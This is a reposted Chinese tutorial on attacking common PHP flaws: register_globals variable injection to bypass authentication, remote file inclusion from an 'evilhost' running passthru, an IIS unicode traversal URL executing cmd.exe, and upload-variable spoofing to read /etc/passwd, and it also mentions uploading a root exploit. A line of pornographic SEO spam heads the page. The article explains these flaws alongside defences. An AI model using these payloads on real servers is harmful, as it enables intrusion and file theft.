国产毛片午夜福利,国产黄网,国产亚洲天堂,97国产精品

  •  
    如何對PHP程序中的常見漏洞進行攻擊(上)
    發(fā)布時間:2008-04-28   瀏覽次數(shù):1184385

    如何對PHP程序中的常見漏洞進行攻擊(上)

     PHP中的變量不需要事先聲明,它們會在次使用時自動創(chuàng)建,它們的類型也不需要指定,它們會根據(jù)上下文環(huán)境自動確定。從程序員的角度來看,這無疑是一種極其方便的處理方法。很顯然,這也是快速開發(fā)語言的一個很有用的特點。一旦一個變量被創(chuàng)建了,可以在程序中的任何地方使用。這個特點導(dǎo)致的結(jié)果是程序員很少初始化變量,畢竟,當(dāng)它們次創(chuàng)建時,他們是空的。

      很顯然,基于PHP的應(yīng)用程序的主函數(shù)一般都是接受用戶的輸入(主要是表單變量,上載文件和Cookie等),然后對輸入數(shù)據(jù)進行處理,然后把結(jié)果返回到客戶端瀏覽器。為了使PHP代碼訪問用戶的輸入盡可能容易,實際上PHP是把這些輸入數(shù)據(jù)看作全局變量來處理的。

      例如:

    <FORM METHOD="GET" ACTION="test.php">
    <INPUT TYPE="TEXT" NAME="hello">
    <INPUT TYPE="SUBMIT">
    </FORM>

      很顯然,這會顯示一個文本框和提交按鈕。當(dāng)用戶點擊提交按鈕時,“test.php”會處理用戶的輸入,當(dāng)“test.php”運行時,“$hello”會包含用戶在文本框輸入的數(shù)據(jù)。從這里我們應(yīng)該看出,攻擊者可以按照自己的意愿創(chuàng)建任意的全局變量。如果攻擊者不是通過表單輸入來調(diào)用“test.php”,而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no,那么,不止是“$hello”被創(chuàng)建,“$setup”也被創(chuàng)建了。

      譯者注:這兩種方法也是我們通常說的“POST”和“GET”方法。

      下面的用戶認(rèn)證代碼暴露了PHP的全局變量所導(dǎo)致的問題:

    <?php
      if ($pass == "hello")
        $auth = 1;
      ...
      if ($auth == 1)
        echo "some important information";
    ?>

      上面的代碼首先檢查用戶的密碼是否為“hello”,如果匹配的話,設(shè)置“$auth”為“1”,即通過認(rèn)證。之后如果“$suth”為“1”的話,會顯示一些重要信息。

      表面看起來是正確的,而且我們中有相當(dāng)一部分人是這樣做的,但是這段代碼犯了想當(dāng)然的錯誤,它假定“$auth”在沒有設(shè)置值的時候是空的,卻沒有想到攻擊者可以創(chuàng)建任何全局變量并賦值,通過類似“http://server/test.php?auth=1”的方法,我們完全可以欺騙這段代碼,使它相信我們是已經(jīng)認(rèn)證過的。

      因此,為了提高PHP程序的性,我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話,這可是一項非常艱巨的任務(wù)。

      一種常用的保護方式是檢查數(shù)組HTTP_GET[]或POST_VARS[]中的變量,這依賴于我們的提交方式(GET或POST)。當(dāng)PHP配置為打開“track_vars”選項的話(這是缺省值),用戶提交的變量可以在全局變量和上面提到的數(shù)組中獲得。

      但是值得說明的是,PHP有四個不同的數(shù)組變量用來處理用戶的輸入。HTTP_GET_VARS數(shù)組用來處理GET方式提交的變量,HTTP_POST_VARS數(shù)組用于處理POST方式提交的變量,HTTP_COOKIE_VARS數(shù)組用于處理作為cookie頭提交的變量,而對于HTTP_POST_FILES數(shù)組(比較新的PHP才提供),則完全是用戶用來提交變量的一種可選方式。用戶的一個請求可以很容易的把變量存在這四個數(shù)組中,因此一個的PHP程序應(yīng)該檢查這四個數(shù)組。

    [遠程文件]

      PHP是一種具有豐富特性的語言,提供了大量的函數(shù),使編程者實現(xiàn)某個功能很容易。但是從的角度來看,功能越多,要保證它的性越難,遠程文件是說明這個問題的一個很好的例子:

    <?php
      if (!($fd = fopen("$filename", "r"))
        echo("Could not open file: $filename<BR>\n");
    ?>

      上面的腳本試圖打開文件“$filename”,如果失敗顯示錯誤信息。很明顯,如果我們能夠指定“$filename”的話,能利用這個腳本瀏覽系統(tǒng)中的任何文件。但是,這個腳本還存在一個不太明顯的特性,那是它可以從任何其它WEB或FTP站點讀取文件。實際上,PHP的大多數(shù)文件處理函數(shù)對遠程文件的處理是透明的。

      例如:

      如果指定“$filename”為“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
    則上面的代碼實際上是利用主機target上的unicode漏洞,執(zhí)行了dir命令。

      這使得支持遠程文件的include(),require(),include_once()和require_once()在上下文環(huán)境中變得更有趣。這些函數(shù)主要功能是包含指定文件的內(nèi)容,并且把它們按照PHP代碼解釋,主要是用在庫文件上。

      例如:

    <?php
      include($libdir . "/languages.php");
    ?>

      上例中“$libdir”一般是一個在執(zhí)行代碼前已經(jīng)設(shè)置好的路徑,如果攻擊者能夠使得“$libdir”沒有被設(shè)置的話,那么他可以改變這個路徑。但是攻擊者并不能做任何事情,因為他們只能在他們指定的路徑中訪問文件languages.php(perl中的“Poison null byte”攻擊對PHP沒有作用)。但是由于有了對遠程文件的支持,攻擊者可以做任何事情。例如,攻擊者可以在某臺服務(wù)器上放一個文件languages.php,包含如下內(nèi)容:

    <?php
      passthru("/bin/ls /etc");
    ?>

      然后把“$libdir”設(shè)置為“http://<evilhost>/”,這樣我們可以在目標(biāo)主機上執(zhí)行上面的攻擊代碼,“/etc”目錄的內(nèi)容作為結(jié)果返回到客戶的瀏覽器中。

    [文件上載]

      PHP自動支持基于RFC 1867的文件上載,我們看下面的例子:

    <FORM METHOD="POST" ENCTYPE="multipart/form-data">
    <INPUT TYPE="FILE" NAME="hello">
    <INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
    <INPUT TYPE="SUBMIT">
    </FORM>

      上面的代碼讓用戶從本地機器選擇一個文件,當(dāng)點擊提交后,文件會被上載到服務(wù)器。這顯然是很有用的功能,但是PHP的響應(yīng)方式使這項功能變的不。當(dāng)PHP次接到這種請求,甚至在它開始解析被調(diào)用的PHP代碼之前,它會先接受遠程用戶的文件,檢查文件的長度是否超過“$MAX_FILE_SIZE variable”定義的值,如果通過這些測試的話,文件會被存在本地的一個臨時目錄中。

      因此,攻擊者可以發(fā)送任意文件給運行PHP的主機,在PHP程序還沒有決定是否接受文件上載時,文件已經(jīng)被存在服務(wù)器上了。

      這里我不討論利用文件上載來對服務(wù)器進行DOS攻擊的可能性了。

      讓我們考慮一下處理文件上載的PHP程序,正如我們上面說的,文件被接收并且存在服務(wù)器上(位置是在配置文件中指定的,一般是/tmp),擴展名一般是隨機的,類似“phpxXuoXG”的形式。PHP程序需要上載文件的信息以便處理它,這可以通過兩種方式,一種方式是在PHP 3中已經(jīng)使用的,另一種是在我們對以前的方法提出公告后引入的。

      但是,我們可以肯定的說,問題還是存在的,大多數(shù)PHP程序還是使用老的方式來處理上載文件。PHP設(shè)置了四個全局變量來描述上載文件,比如說上面的例子:

    $hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
    $hello_size = Size in bytes of file (e.g 1024)
    $hello_name = The original name of the file on the remote system (e.g "c:\\temp\\hello.txt")
    $hello_type = Mime type of uploaded file (e.g "text/plain")

      然后PHP程序開始處理根據(jù)“$hello”指定的文件,問題在于“$hello”不一定是一個PHP設(shè)置的變量,任何遠程用戶都可以指定它。如果我們使用下面的方式:

    http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

      導(dǎo)致了下面的PHP全局變量(當(dāng)然POST方式也可以(甚至是Cookie)):

    $hello = "/etc/passwd"
    $hello_size = 10240
    $hello_type = "text/plain"
    $hello_name = "hello.txt"

      上面的表單數(shù)據(jù)正好滿足了PHP程序所期望的變量,但是這時PHP程序不再處理上載的文件,而是處理“/etc/passwd”(通常會導(dǎo)致內(nèi)容暴露)。這種攻擊可以用于暴露任何敏感文件的內(nèi)容。

      我在前面已經(jīng)說了,新版本的PHP使用HTTP_POST_FILES[]來決定上載文件,同時也提供了很多函數(shù)來解決這個問題,例如有一個函數(shù)用來判斷某個文件是不是實際上載的文件。這些函數(shù)很好的解決了這個問題,但是實際上肯定有很多PHP程序仍然使用舊的方法,很容易受到這種攻擊。

      作為文件上載的攻擊方法的一個變種,我們看一下下面的一段代碼:

    <?php
      if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
    include("$theme");
    ?>

      如果攻擊者可以控制“$theme”的話,很顯然它可以利用“$theme”來讀取遠程系統(tǒng)上的任何文件。攻擊者的最終目標(biāo)是在遠程服務(wù)器上執(zhí)行任意指令,但是他無法使用遠程文件,因此,他必須得在遠程服務(wù)器上創(chuàng)建一個PHP文件。這乍看起來好象是不可能的,但是文件上載幫了我們這個忙,如果攻擊者先在本地機器上創(chuàng)建一個包含PHP代碼的文件,然后創(chuàng)建一個包含名為“theme”的文件域的表單,用這個表單通過文件上載把創(chuàng)建的包含PHP代碼的文件提交給上面的代碼,PHP會把攻擊者提交的文件保存起來,并把“$theme”的值設(shè)置為攻擊者提交的文件,這樣file_exists()函數(shù)會檢查通過,攻擊者的代碼也將執(zhí)行。

      獲得執(zhí)行任意指令的能力之后,攻擊者顯然想提升權(quán)限或者是擴大戰(zhàn)果,而這又需要一些服務(wù)器上沒有的工具集,而文件上載又一次幫了我們這個忙。攻擊者可以使用文件上載功能上載工具,把她們存在服務(wù)器上,然后利用他們執(zhí)行指令的能力,使用chmod()改變文件的權(quán)限,然后執(zhí)行。例如:攻擊者可以繞過防火墻或IDS上載一個本地root攻擊程序,然后執(zhí)行,這樣獲得了root權(quán)限。

    立即預(yù)約